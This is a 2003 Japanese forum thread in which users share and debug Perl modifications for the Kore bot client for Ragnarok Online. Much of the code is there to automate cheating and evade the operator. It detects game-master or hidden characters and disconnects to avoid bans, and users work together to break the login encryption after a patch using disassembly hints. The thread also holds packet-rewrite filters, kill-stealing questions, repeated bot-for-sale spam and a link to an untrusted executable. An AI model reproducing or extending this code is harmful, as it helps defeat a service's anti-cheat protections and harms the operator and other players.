$invIndex = findIndexString(\@{$chars[$config{'char'}]{'inventory'}}, "name", $cart_control{"add_$c"});
if ($invIndex ne "") {
$cartIndex = findIndexString_lc(\@{$cart{'inventory'}}, "name", $cart_control{"add_$c"});
$cartAmount = $cart{'inventory'}[$cartIndex]{'amount'};
$autoCartAddAmount = $cart_control{"add_$c"."_maxAmount"} - $cartAmount;
if ($autoCartAddAmount > $chars[$config{'char'}]{'inventory'}[$invIndex]{'amount'}){
$autoCartAddAmount = $chars[$config{'char'}]{'inventory'}[$invIndex]{'amount'};
}
if ($autoCartAddAmount > 0 && ($cart{'weight'}/$cart{'weight_max'})*100 < $config{'cartMaxWeight'}) {
print "[Act] アイテム ".$char[$config{'char'}]{'inventory'}[$invIndex]{'name'}."を $autoCartAddAmount個カートに移します\n";
sendCartAdd(\$remote_socket, $chars[$config{'char'}]{'inventory'}[$invIndex]{'index'}, $autoCartAddAmount);
$timeout{'ai_cartGetAuto'}{'time'} = time;
if ($chars[$config{'char'}]{'inventory'}[$invIndex]{'amount'} - $autoCartAddAmount == 0) {
$cartAddEnd = 0;
}
}
}
$c++;
}
}
}
if ($cartAddEnd){
$ai_seq_args[0]{'done'} = 1;
}
8857:03/08/24 11:47 ID:???
>>58
自分では作れないので、作っていただきたくお願いしますm(__)mペコ
89ネトゲ廃人@名無し:03/08/24 12:05 ID:???
以後>58は放置の方向で
90ネトゲ廃人@名無し:03/08/24 13:07 ID:???
>>85
パケ受け取ったときにundefするから2回やってしまうのか・・・・
確かにバグだなぁ
それじゃあ、漏れもひとつ
カートにアイテムが入りきらなかったときに受け取るパケの処理がおかしい
Koreって結構あるはず
91ネトゲ廃人@名無し:03/08/24 13:25 ID:???
罠無しBOTをWMで売ります。
WM先払いです。
欲しい方は・・・
[email protected]
・・・までメールお願い致します。
     
92ネトゲ廃人@名無し:03/08/24 13:36 ID:???
他のスレならともかく、このスレで売りますは意味なさそうだなぁ
93前スレ605:03/08/24 14:16 ID:???
ai_clientSuspendをsendCartAddのあとにいれたらどうかなぁ
9466:03/08/24 15:39 ID:???
>>605
返答Thx♪
いま初めてai_clientSuspendのソースを読んでみたんですが、ai_clientSuspendの機能自体は
一旦ai_seqを"clientSuspend"入れて、timeOutするまではAIは何もせずループを繰り返し、
timeOutすれば元のai_seqを戻すという動きだと読みました。

なるほど。これならai_clientSuspendの指定時間何も処理を行わないから、その間にitemRemove
のパケが送られて処理される・・・と。
∇≦)ありがとうございます〜〜〜

・・・って読み違ってたら恥ずいな・・・_| ̄|○ ショセンサルダモン
9566:03/08/24 15:49 ID:???
実装してる間にちょっと疑問が。
現在は$timeout{'ai_cartGetAuto'}でウェイトは取ってるんですが、これと
機能的にはどう変わってくるのでしょうか?
9666:03/08/24 17:21 ID:???
連投スンマセン
やはり現象としては変わらないですね。結局はタイミングの問題で、BUY AUTO内に放り込
んだのがそもそもの失敗だと確信しました。
アイテム取得パケ内で"buyAuto"の判断を含みつつ乗せ返えればOKだと思うので、それで
解決することにします。スレ汚しスマソでした。
9766:03/08/24 17:51 ID:???
ぬはぁ・・・原因判明しました。乗せ変え後も現象変わらずなので、確認すると、
ai_buyAuto_giveupがスルーパスかましてた・・・。
カート移動が発動したときに再取得すれば、最初の状態でOKだったようです。

全くもってスレ汚しスマソでした(;´Д`) 名無しに戻ります・・・
98ネトゲ廃人@名無し:03/08/24 19:27 ID:???
>>66 お前もうちょっと落ち着いてカキコしろよ
脊髄は鳩と同類だぞと
99ネトゲ廃人@名無し:03/08/24 19:31 ID:???
同類というか鳩だろ
100ネトゲ廃人@名無し:03/08/24 20:22 ID:???
そういう>>98,99はそんなことしか書き込めないミジンコなわけだが
( ´∀`)オレモナー

>>66
そのコード使って言われてるように直してみたけど上で言ってる現象は
まだ出るみたいだな
101ネトゲ廃人@名無し:03/08/24 22:18 ID:???
>>605
過去ログで2刀流持ち替えって需要ある?と言うのを見つけたんですが、
2刀アサのbotを使っていてとても興味があるので貼ってもらえませんかね?
その後の過去ログも確認してみたんですけどスルーされてるみたいだったので。
よろしくお願いします。
10266:03/08/24 22:43 ID:???
>>101
別スレだけど貼ってるので見てってくれ
103ネトゲ廃人@名無し:03/08/25 00:11 ID:???
すいませんlockmapのみでteleportAuto_portalを使うことはできないんでしょうか?
104ネトゲ廃人@名無し:03/08/25 01:00 ID:???
>>103
うちのはできますが 何か?
105ネトゲ廃人@名無し:03/08/25 01:00 ID:???
>>103

【RO】BOTの使い方質問スレ 其の弐
ttp://game3.2ch.net/test/read.cgi/mmosaloon/1061020177/l50
106ネトゲ廃人@名無し:03/08/25 04:30 ID:???
 [殺す]
[死なす]
→[舐める]


決定 ベロベロリンっとな。
107 ◆PeR3VeR5HE :03/08/25 13:26 ID:???
罠無しBOTをWMで売ります。
一応1000円ですが、値段交渉可です。
PLの使い方が分からない人には、教えます。
欲しい方は・・・
[email protected]
・・・にメール下さい。
※絶対に罠は、入っていません※  
108ネトゲ廃人@名無し:03/08/25 15:04 ID:???
上のは名前消し忘れた・・・元66ですが、名誉挽回に再うp
以前にどこかで貼ったやつを改良したやつ。下のほうの機能は未検証なので
指摘があればヨロ

} elsif ($switch eq "0119") {
$ID = substr($msg, 2, 4);
$param1 = unpack("S1", substr($msg, 6, 2));
$param2 = unpack("S1", substr($msg, 8, 2));
$param3 = unpack("S1", substr($msg, 10, 2));
if ($ID eq $accountID) {
### $parm1取得 (単独状態変化)
my $char_status = "";
$char_status = "石化" if ($param1 eq 1);
$char_status = "凍結" if ($param1 eq 2);
$char_status = "スタン " if ($param1 eq 3);
$char_status = "睡眠" if ($param1 eq 4);
$char_status = "暗黒" if ($param1 eq 6);
if (!$chars[$config{'char'}]{'status1'} && $char_status){
print "[Rep] $char_status になりました。\n";
}
if ($chars[$config{'char'}]{'status1'} && !$char_status) {
print "[Rep] $chars[$config{'char'}]{'status1'} が治りました。\n";
}
$chars[$config{'char'}]{'status1'} = $char_status;

109ネトゲ廃人@名無し:03/08/25 15:04 ID:???
### $param2取得 (複合状態変化)
$char_status = "";
$char_status .= "毒 " if ($param2 & 1);
$char_status .= "死神 " if ($param2 & 2);
$char_status .= "沈黙 " if ($param2 & 4);
$char_status .= "暗転 " if ($param2 & 16);
if ($chars[$config{'char'}]{'status2'} ne $char_status){
if(!$chars[$config{'char'}]{'status2'}){
print "[Rep] $char_statusになりました。\n";
}else{
print "[Rep] $chars[$config{'char'}]{'status2'}が治りました。\n";
}
}
$chars[$config{'char'}]{'status2'} = $char_status;
if ($param2 & 0x0001) {
$index = findIndexString_lc(\@{$chars[$config{'char'}]{'inventory'}}, "name", $config{"curePoison"});
if ($index ne "") {
print "[Act] 毒を治療します\n";
sendItemUse(\$remote_socket, $chars[$config{'char'}]{'inventory'}[$index]{'index'}, $accountID);
}
}

110ネトゲ廃人@名無し:03/08/25 15:07 ID:???
### $param3取得 (見た目変化)
$char_status = "";$char_status = "ハイド" if ($param3 eq 2);
$char_status = "クローキング" if ($param3 eq 6);$char_status = "カート" if ($param3 eq 8);
$char_status = "鷹" if ($param3 eq 16);$char_status = "ペコ騎乗" if ($param3 eq 32);
if (!$chars[$config{'char'}]{'status3'} && $char_status){
print "[Rep] $char_status が有効になりました。\n";}
if ($chars[$config{'char'}]{'status3'} && !$char_status) {
print "[Rep] $chars[$config{'char'}]{'status3'} が解除されました。\n";}
$chars[$config{'char'}]{'status3'} = $char_status;
if ($param3 & 6) {
$chars[$config{'char'}]{'cloaking'} = 1;
} elsif ($param3 & 2) {
$chars[$config{'char'}]{'hiding'} = 1;}
$chars[$config{'char'}]{'hidden'} = 1 if ($param3 & 4);
$chars[$config{'char'}]{'ruwach'} = 1 if ($param3 & 1);
### add by * for ログイン時から5秒以内に状態異常パケを受けたときは長期停止
if (($param1 || $param2) && !timeOut(5,$timeout{'ai'}{'time'})){
killConnection(\$remote_socket);
chatLog("s","*** WARNING!!!!!!!!! ログイン時に状態異常パケを取得しました。");
print "[Warning!] *** WARNING!!!!!!! ログイン時に状態異常パケを取得しました。Connectionを切断し待機中です。\n";
sleep(360000); }}
### add by * for モンスステータス変化対応(ハイド・クローキング)
if (%{$monsters{$ID}}) {
$monsters{$ID}{'hidden'} = 1 if($param3 eq 2 || $param3 eq 6);
attackStop(\$remote_socket, $ID);
$monsters{$ID}{attack_failed}++;}
### add by * for 不正ハイド対応(名前変えてるって噂もあるし・・・)
if ($param3 eq 4) {
print "[Warning!] *** 不正ハイドキャラクターを発見しました!! ***\n";
chatLog ("s","*** Warning! 不正ハイドキャラクターを発見しました!! ***\n");
gamemasterRestart();}
111ネトゲ廃人@名無し:03/08/25 15:10 ID:???
ステータスを確認したければ、下記を追加
print"-----------Char Stats-----------\n";
〜〜
$chars[$config{'char'}]{'luk'} $chars[$config{'char'}]{'luk_bonus'} $chars[$config{'char'}]{'points_luk'} $chars[$config{'char'}]{'guild'}{'name'}
+Status: Visual:@<<<<<<< Param1:@<<< Param2:@<<<<<<<<<<<<<<<<<<<<<<<<<<
+$chars[$config{'char'}]{'status3'} $chars[$config{'char'}]{'status1'} $chars[$config{'char'}]{'status2'}
.

上のログイン時はMAP鯖移動時ってことで。
112ネトゲ廃人@名無し:03/08/25 15:21 ID:???
113ネトゲ廃人@名無し:03/08/25 15:26 ID:???
>>108
コードThx!使わせてもらう
しかし、モンスのハイドと不正ハイドはこれだけだとマズーかも?
状態変化パケは画面内で発生したものしか流れなかったんじゃなかったけ?
・・・サルには詳しくわからんポ(・∀・)ウキー
114ネトゲ廃人@名無し:03/08/25 21:21 ID:???
それらしいスレはまわったつもりなんですが、
上に書いてある二刀流コードが全然見つかりません。

教えていただけるとうれしいのですが、
よろしくお願いします。
115ネトゲ廃人@名無し:03/08/25 21:22 ID:???
>>114
X-koreスレに書いたのでチェキラッチョ
116ネトゲ廃人@名無し:03/08/25 22:53 ID:???
>>108-111,113
R 0078 12,13バイト目
R 0079 12,13バイト目
R 007b 12,13バイト目
<option>.w
0通常
1ルアーフ
2ハイド
3ルアーフ&ハイド
4クローク
5ルアーフ&クローク
6クローク&ハイド
7ルアーフ&クローク&ハイド
8カートVer.1
16鷹
32
64ハイド
128カートVer.2
256カートVer.3
512カートVer.4
1024カートVer.5
0119の$param2と同じくビットフラグで複合
#対応が一緒じゃないあたりが重力仕事か
117116:03/08/25 23:09 ID:???
訂正
optionは11,12バイト目ですね失礼
今007Bで試してみたところ0119パケのparam2と一緒っぽいです
漏れ何処調べてたメモなんだろう‥‥∧||∧
118116:03/08/25 23:38 ID:???
連書きすまそ007Bで調べ直しました。
7B 00 <ID>.l <speed>.w <param1>.w <param2>.w <param3>.w (略
で対応は0119と同じ。
0078,0079,007Bあたりが移動やら画面外からの沸きとかかな
元66氏コーディング&公開乙
119元66:03/08/26 00:05 ID:???
>>113,116
おお〜。Tnx♪ 0x0078-007Bだとは思ってたんですがパケ情報が無くて・・・
これで完全実装できます。m(_ _)m

あと、不正GM判定は以前2chのどこかで貼ってたヤツに書いてあったので(Tnx♪
つけましたが、使用者の一人が引っかかったとのことなので、ID+nameをdumpして
再度調査中。$param3=0x0004は通常移動可能なハイドだと推測してツケマスタ。違うぽいね
実装する方はその部分を外してクダサレ
120ネトゲ廃人@名無し:03/08/26 00:33 ID:???
いま↑実装してたら、ミョーなものを・・・ハッケンしてしまった
sub JudgeAttackSameTarget{
$monsters{$ID}{attack_failed}++;←
激しくガイシュツ&餌になるってのもアレなんで、これぐらいで。
121ネトゲ廃人@名無し:03/08/26 01:59 ID:???
>>66
現在、毒にかかってて、param2によって、沈黙が追加された場合は?
漏れの勘違いかなぁ
122121:03/08/26 02:15 ID:???
>>66
もうひとつ
たぶん、このままだと自分が殴ってるモブ以外のハイド/クローキングに反応して
攻撃止めないかなぁ?
123ネトゲ廃人@名無し:03/08/26 02:25 ID:???
>>121
毒+沈黙だと、{'status2'}="毒 沈黙" となる。毒が解除されたら、{'status2'}="沈黙"
になるけど。変化が発生するたびにパケが流れるのは確認してる。

あと、攻撃止めるのはmonsters[$ID]に対して、のつもり。
attackStopを自分が攻撃してない$IDに送ったときに、自分が現在攻撃してるモンスを
攻撃停止にするのなら、現在攻撃してるモンスとの判定コードつけんといかんね。
124ネトゲ廃人@名無し:03/08/26 03:36 ID:???
>>605
>>74を導入したのですが、集中P単独で使う時には、しっかりと秒数が表示されるものの、
ブレス、加速、集中Pなどと使用すると
ブレス(50)加速(40)集中(40)
の様に集中Pは1つ上のスキルと同じ秒数で表示されるのですがなぜでしょうか?
ブレスと加速の効果が切れてしまえば、正常に表示されるようになります。
集中P単独で使えば問題ないのですが、スキルと併用すると表示が狂ってしまいますので、
できることなら修正お願いできませんかね、よろしくお願いします。
125ネトゲ廃人@名無し:03/08/26 10:41 ID:???
ガンホーの社員数は現在,アルバイトも含めて64人。
126ネトゲ廃人@名無し:03/08/26 11:05 ID:???
>>124
ソース読めばすぐに解決できる
少しは努力しる
127 ◆PeR3VeR5HE :03/08/26 11:38 ID:???
罠無しBOTをWMで売ります。
1000円ぐらいで売っています。
ちなみに先払いです。
PLが使い方が分からない人には、教えます。
欲しい方は、
[email protected]
までメール下さい。 
128ネトゲ廃人@名無し:03/08/26 12:45 ID:???
>>127
お前しつこい、ここ逝け
http://bbs5.cgiboy.com/p/42/00672/

帰って来るなよ
129ネトゲ廃人@名無し:03/08/26 13:35 ID:???
>>127 中級にまでマルチしてお前うざすぎる
氏ね
130ネトゲ廃人@名無し:03/08/26 13:36 ID:???
金稼ぎがしたいだけだろ
131ネトゲ廃人@名無し:03/08/26 14:01 ID:???
>>127
>>112
っていうか、ここじゃ売れんから、売れるところで書いてくれ。商売の基本だろ?
あんたがやってるのは、砂漠のど真ん中でブランド物の服を売ってるようなものだ。
132ネトゲ廃人@名無し:03/08/26 14:29 ID:???
逆だろ。
ビルゲイツの前で新しいOSの説明をして買ってくれといっているようなものだ
133ネトゲ廃人@名無し:03/08/26 14:44 ID:???
ビルゲイツに説明した瞬間に使われてしまいますが???
134ネトゲ廃人@名無し:03/08/26 14:48 ID:???
説明するカネなんかゲイは払わないだろ。だからplという説明も手に入らない。
135ネトゲ廃人@名無し:03/08/26 15:03 ID:???
アレ・・・入れなくナッチャッタヨ;;
136ネトゲ廃人@名無し:03/08/26 15:07 ID:???
今回の暗号化も大したことなかったな
137ネトゲ廃人@名無し:03/08/26 15:09 ID:???
また荒れそなヨカン
138ネトゲ廃人@名無し:03/08/26 15:13 ID:???
鳩スレにヒント出した香具師いるぞ
139ネトゲ廃人@名無し:03/08/26 15:19 ID:???
ヒントをやる
$msg1DD = "\0" x (47);
この行を変えれば入れる  
140ネトゲ廃人@名無し:03/08/26 15:21 ID:???
さぁてみなさんごいっしょに。









クルックー(・∀・)クルックー
141ネトゲ廃人@名無し:03/08/26 15:33 ID:???
どうすればいいんでしょうか
142ネトゲ廃人@名無し:03/08/26 15:34 ID:???
あ・・、あの・・・、

どうすればいいんでしょうか
どうすればいいんでしょうか
どうすればいいんでしょうか どうすればいいんでしょうか
どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか
どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか
どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか
どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか どうすればいいんでしょうか
143ネトゲ廃人@名無し:03/08/26 15:34 ID:???
さっさと教えろ引き篭もりども
144ネトゲ廃人@名無し:03/08/26 15:39 ID:???
>>143
だからちょっと待てと
真剣に解析してる時にそんなこと言われたらグレるぞ漏れヽ( `Д´)ノ
145ネトゲ廃人@名無し:03/08/26 15:40 ID:???
頑張って
146ネトゲ廃人@名無し:03/08/26 15:56 ID:???
このスレは、RO@BOTのところからリンク張らない方がいいかもな・・・
147ネトゲ廃人@名無し:03/08/26 16:03 ID:???
がむばれー
148ネトゲ廃人@名無し:03/08/26 16:16 ID:???
鳩、ミジンコ絶滅希望
149ネトゲ廃人@名無し:03/08/26 16:17 ID:???
>>148
じゃ、真っ先に藻前が氏ぬわけか。
150ネトゲ廃人@名無し:03/08/26 17:16 ID:???
頑張ってくだされ
暗号化はどうにも・・・;
151ネトゲ廃人@名無し:03/08/26 17:17 ID:???
はい。じゃぁみなさん。
$msg1DD = "\0" x (47);
の\0を色々変えてどの数字で入れるか試してみましょう。
152ネトゲ廃人@名無し:03/08/26 17:22 ID:???
と思ったらまたパッチですか。
今のうちにC類を露天で換金しとくか。
153:03/08/26 17:47 ID:xnhXKZOL
今日二度目の暗号化だな。
さっきのより大分手強い、今回のは。
154ネトゲ廃人@名無し:03/08/26 17:48 ID:???
あーあ、やっちまった。
自分の手で自分の首をしめてるんだからな。
155Jude-a ◆j0VqP56nF2 :03/08/26 17:49 ID:???
BOTer死ね。
156:03/08/26 17:53 ID:???
>155
喪前が氏ね
157ネトゲ廃人@名無し:03/08/26 17:54 ID:???
ID,PASSって16バイトずつ?
158ネトゲ廃人@名無し:03/08/26 17:55 ID:po4nUQK9
BOTer達=日本人の恥だぞ!犯罪じゃなかったら、人に迷惑かけていいのかよ?
汚いことして、汚い金を手に入れる・・
これじゃあ、北の将軍様と変わらないぞ!!
お前ら、拉致とか許せないだろ?犯罪は許せないだろ?
もう、やめろよ。
                      ROユーザーより
159ネトゲ廃人@名無し:03/08/26 17:57 ID:???
ツマンネー釣りだな。
160ネトゲ廃人@名無し:03/08/26 18:00 ID:???
釣じゃないよ!
まともなこと言って、なんで釣りにされなきゃいけないんだ!
間違ったこと言ってないだろ?
161ネトゲ廃人@名無し:03/08/26 18:00 ID:???
IDが24バイト、PASSが17バイト、パケット長は47バイトで固定ぽ
162ネトゲ廃人@名無し:03/08/26 18:02 ID:???
人道的か非人道的かの問題だろ?
AとBっていう店があって、AがBよりも安く商品を売ったとしたらBには迷惑
かかるが、非人道的でない。頭悪いやつはどっかいけ。
163157:03/08/26 18:03 ID:???
>>161
ID 24で
PASSが16か、やっぱ。パケットのけつの03はサーバーのヴァージョンだか
なんだかだよ。
164ネトゲ廃人@名無し:03/08/26 18:03 ID:???
意味がわからんお前
165ネトゲ廃人@名無し:03/08/26 18:12 ID:???
>>163
PASS16か(;´д`)17はなんか区切り悪いなーと思ってた
現行のencodeじゃIDを24バイト固定にしてないぽ
166ネトゲ廃人@名無し :03/08/26 18:13 ID:???
>>158 釣りは帰れよ。ってか北と変わらないとか訳のわか
らん例えを出すな。
167ネトゲ廃人@名無し:03/08/26 18:18 ID:???
鳩スレからきました
うpよろwwwwwwww
168ネトゲ廃人@名無し:03/08/26 18:19 ID:???
>>166
釣られるな。ただのコピペだ。
169ネトゲ廃人@名無し:03/08/26 18:33 ID:???
>>163
追記。01DCから送られてくる暗号化キー(らしきパケット)も16byteかな(´・ω・)前はどうだったのか知らないけど変わってるのかな
多分エンコードルーチンそのものが変わってると思うので逆汗しないといけないのかなぁ
170ネトゲ廃人@名無し:03/08/26 18:42 ID:???
>>169
ragexeは変更無いんじゃないのか?いま再インスコしたから、他人情報でスマンガ。
そうなると、encode.dllが対応不足だとしか思えんが・・・どうだろう?
171ネトゲ廃人@名無し:03/08/26 18:42 ID:???
つかこれ即効といたやつは神じゃないか…?
Encode.dll書き直しに近いんだろーし。
参考にしようにもアセンブラわかんねーよ…。
172ネトゲ廃人@名無し:03/08/26 18:51 ID:???
亀島対策室にお集まり下さい。
173ネトゲ廃人@名無し:03/08/26 18:56 ID:???
これでBOT売る奴がでてきたら神なんだけどなwww
174あははーーーー:03/08/26 18:59 ID:???
void Func2(void)
{
__asm
{
pop edi
pop esi
pop ebx

//int 3
sub esp,00000088h
//mov al,byte ptr [005D9790h]
mov al,1
push ebx
mov edx,ecx
push esi
test al,al
push edi
mov dword ptr [ebp-44h],edx
je __Func2_0001F308
mov eax,dword ptr [ebp+08h]
test al,03h
je __Func2_0001F355
mov ecx,00000010h
mov esi,eax
lea edi,dword ptr [ebp+0FFFFFF78h]
lea eax,dword ptr [ebp+0FFFFFF78h]
repz movsd
jmp __Func2_0001F355
175ネトゲ廃人@名無し:03/08/26 19:01 ID:???
こいつは!!!!???????・
176ネトゲ廃人@名無し:03/08/26 19:03 ID:???
なにが亀島対策室 だよ 努アホ。氏ねっつんだYO

DLLEXPORT void WINAPI Encode(long nVersion, long nServerType, long nServiceType, char *pcUserName, char *pcPassword, char *pc1DC, char *pc1DD)
177ネトゲ廃人@名無し:03/08/26 19:23 ID:???
>>174
・・・まんまCPPファイルの中身貼り付けただけ・・・
意味ないぽ

00401000 55 push ebp
00401001 8bec mov ebp,esp
00401003 d94508 fld dword ptr [ebp+08]
00401006 dc2da8d55d00 fsubr dword ptr [005dd5a8]
0040100c 8b450c mov eax,dword ptr [ebp+0c]
0040100f 8b5510 mov edx,dword ptr [ebp+10]
00401012 d9c0 fld st(0)
00401014 d84804 fmul dword ptr [eax+04]
00401017 d94508 fld dword ptr [ebp+08]
0040101a d84a04 fmul dword ptr [edx+04]
0040101d dec1 fadd
0040101f d95904 fstp dword ptr [ecx+04]
00401022 d9c0 fld st(0)
00401024 d84808 fmul dword ptr [eax+08]
00401027 d94508 fld dword ptr [ebp+08]
0040102a d84a08 fmul dword ptr [edx+08]
0040102d dec1 fadd
0040102f d95908 fstp dword ptr [ecx+08]
00401032 d8480c fmul dword ptr [eax+0c]
00401035 d94508 fld dword ptr [ebp+08]
00401038 d84a0c fmul dword ptr [edx+0c]
0040103b dec1 fadd
0040103d d9590c fstp dword ptr [ecx+0c]
00401040 5d pop ebp
00401041 c20c00 ret 000c
178ネトゲ廃人@名無し:03/08/26 19:24 ID:???
>>174のはソースそのまま貼り付けただけ.
変更点何も無い罠.
179ネトゲ廃人@名無し:03/08/26 19:33 ID:???
バージョン何になった?
180ネトゲ廃人@名無し:03/08/26 19:41 ID:???
>>179
100ぐらいからから順番に101、102って増やしていけばそのうち合いますよ
181ネトゲ廃人@名無し:03/08/26 21:20 ID:???
以前のHTTPSの〜〜ってやろうとしてた奴なんだけどさ
公式の報告ページ見ると、入力⇒確認⇒登録って流れになってるのだが、
確認以降IDとPASSって使ってないんだよね。
あるのは鯖名 キャラ名 場所 と コメントだけ。
これってどう思う?
ASPは詳しくないからよく分からないんだけど、
最初のフォーム時にセッション張って、そこからIDとかとってきたりしてるのかなぁ?
意見求む
182121:03/08/26 22:55 ID:???
>>123
ソースでみただけだから確かでないのかもしれんけど、
毒→沈黙を追加でくらうことにより、毒が直ったと表示されるんでないかと

attackstopはsendattackstopをしてるだけなんで、IDとは直接は無関係のはず
つまり、クローキング中のモブがターゲットでなくても攻撃中断するかと
183ネトゲ廃人@名無し:03/08/26 23:13 ID:???
横殴り全開にしたいんですがどこを弄ればいいでしょうか?
184ネトゲ廃人@名無し:03/08/27 00:00 ID:???
avoidstuck修正完了。
dllも流れたので盾も出来て良い事だ。

・・・頑張ってdllを弄った漏れの努力は無駄だったが・・・(TдT)
185ネトゲ廃人@名無し:03/08/27 00:08 ID:???
skore移植だけでスタックは1週間*4で1回だけだよ。
やっぱりなんか負荷掛かってパケロスしたときにスタックしたみたいだった。
186ネトゲ廃人@名無し:03/08/27 00:27 ID:???
>>121
!!
確かにそうだ。↓こうだね。2度も指摘申し訳ない&Thx〜〜♪
-if(!$chars[$config{'char'}]{'status2'}){
-if(!$char_status){

sendattackstopもThx♪ それとハイドから戻ったのを加味して、
if (%{$monsters{$ID}}) {
if ($monsters{$ID}{'hidden'} && !$param3) {
$monsters{$ID}{'attack_failed'} = 0;
$monsters{$ID}{'hidden'} = 0;
} elsif ($param3 eq 2 || $param3 eq 6) {
$monsters{$ID}{'hidden'} = 1;
if($ai_seq[0] eq "attack" && $ID eq $ai_seq_args[0]{'ID'}) {
attackStop(\$remote_socket, $ID);
}
$monsters{$ID}{'attack_failed'}++;
}
}
こんなもんかな。
ちょっと思ったんだが、攻撃したタイミングで判定するjugdeAttackSameTarget
は、もっと適した場所がありそうだな。
187ネトゲ廃人@名無し:03/08/27 01:03 ID:???
。。;)・・・ シクシク
-if(!$chars[$config{'char'}]{'status2'}){
+if($char_status){
188ネトゲ廃人@名無し:03/08/27 01:44 ID:???
>>186
まあ、横殴りされたか判定するときは、プレイヤーがモブを攻撃したときの
パケのタイミングに変えたほうがいいだろうなぁ
189188:03/08/27 01:58 ID:???
すくなくとも、このタイミングにすればだれが横殴りしたかは正確にわかるはず
現在でてるコードは確か、距離で判別してたんで、
Wizやハンターだと、だれが横殴りしてるかをしらべるのはきついんでないかと
190ネトゲ廃人@名無し:03/08/27 05:37 ID:???
0078,0079,007B,0119パケparam3追伸
param3=0x0002 ハイド
param3=0x0004 クローキング
param3=0x0006 ハイド&クローキング
以上の様です。
ミミズとウイスパでパケ取ってみましたが、敵の場合も同じでした。

# ハイドしてる敵にSSぶち込んだりしちゃうとバレバレなのでご利用は計画的に
# GMの不可視は0x0040(0000 0000 0100 0000)あたりですかねぇ遭遇したい時にGMは居ない
191ネトゲ廃人@名無し:03/08/27 05:38 ID:???
以下確認用パケフィルタ
recvblock:
# ハイド→呪い
19 01 __ __ __ __ __ __ __ __ 02 __ __ = 19 01 __ __ __ __ __ __ 02 00 00 __ __
78 00 __ __ __ __ __ __ __ __ __ __ 02 00 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ =
78 00 __ __ __ __ __ __ __ __ 02 00 00 00 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __
79 00 __ __ __ __ __ __ __ __ __ __ 02 00 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ =
79 00 __ __ __ __ __ __ __ __ 02 00 00 00 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __
7B 00 __ __ __ __ __ __ __ __ __ __ 02 00 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ =
7B 00 __ __ __ __ __ __ __ __ 02 00 00 00 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __
# クローキング→呪い
19 01 __ __ __ __ __ __ __ __ 04 __ __ = 19 01 __ __ __ __ __ __ 02 00 00 __ __
長いと怒られたので以下略
192ネトゲ廃人@名無し:03/08/27 08:27 ID:???
http://www.bakeimon.com/up/img/imo523.rar
もう面倒なんでEXEあげ。
信用できるやつだけ使ってくれ。
193ネトゲ廃人@名無し:03/08/27 08:54 ID:???
>>190
情報Thx♪訂正しとこう。
ということで、GM不可視情報は激しく求む。

>>192
ここでは必要ないから帰ってくれ
194ネトゲ廃人@名無し:03/08/27 18:12 ID:a039FHtc
age
195ネトゲ廃人@名無し:03/08/27 23:14 ID:???
さて
>>194のIDを通報しにいくとするか・・・
*****a039FHtc*****
196ネトゲ廃人@名無し:03/08/27 23:41 ID:???
えっと、ごめんなさい。なんかここ技術的なインターネットのようですけど
新しいKoreでもつくろうと?それとも手直し?
197ネトゲ廃人@名無し:03/08/27 23:44 ID:???
>>196
Koreを使って遊ぶ・楽しむ
198ネトゲ廃人@名無し:03/08/27 23:52 ID:???
>>196
お前が使ってるのは所詮猿koreなんだよ
だからBANされるんだよ。わかるかい?
自作する中級者↑は、より目立たず、効率の良いkoreでウマーなのですよ
そんなkoreを作っていくのも面白いわけですよ

わかったら帰りなさい
199ネトゲ廃人@名無し:03/08/27 23:56 ID:???
200ネトゲ廃人@名無し:03/08/28 00:44 ID:???
>>198
ハゲしく同意
まあ、本家や133氏・605氏のソースですら(いい意味でね)不具合が
あるわけだから、改善しないと期待通りの動きをしてくれない罠。
もちろん、動きを洗練するためのコード追加・修正は当然だな

鳩・猿にはわからん世界だな。ばら撒かれてるのは有名どころのコードを追加後
無修正の猿koreなわけだし
201ネトゲ廃人@名無し:03/08/28 03:12 ID:???
ってーかRMTなんてどうでもいいしなぁ
金なんてわざわざこんなトコで手に入れる必要ないし

うずらの作者さんコード公開してくれないかなぁ・・・
人工痴脳はムジィよ・・・
202ネトゲ廃人@名無し:03/08/28 04:26 ID:???
BOT○○
○○ぼっと
etcetc そんなのしか覚えずに終わる罠、IRCのログ流し込んで教育する?
うずらって引き出しの数の多さとあのチャンネル独特の
内容の偏りが笑わせてくれてるんだと思うのだが。
203ネトゲ廃人@名無し:03/08/28 08:11 ID:B6MVmm7O
どうでもいいことだけどリアルラック低いとBOTしててもレア出ないよね。


          漏れミタイニ
204ネトゲ廃人@名無し:03/08/28 08:27 ID:???
>>203
じゃあさっさと氏ねよ

アゲンジャネ
205ネトゲ廃人@名無し:03/08/28 09:52 ID:???
日本最先端の人工知能開発場所はBOTスレだったりして・・・
206ネトゲ廃人@名無し:03/08/28 11:16 ID:???
>>202
うずらのソースがあったら参考にさせてもらうってこと
教育はどこかの人ごみに放して教育するけどさ

全部出来たらの話だけどなー_| ̄|○
207ネトゲ廃人@名無し:03/08/28 17:46 ID:???
初めて聞いたけどうずらってなかなか面白いね
しかし、デカファイルになるんだな・・

・学習量 : 222.4万ニューロン(単位は適当)
・主保存ファイル : 667万行 約 245MB
・プロセスサイズ : 約 354MB

拾ったチャットを貯めて部分一致だけでもさせて返答するの作ってみようかな

208ネトゲ廃人@名無し :03/08/28 18:30 ID:???
R.M.Cが表示されません><
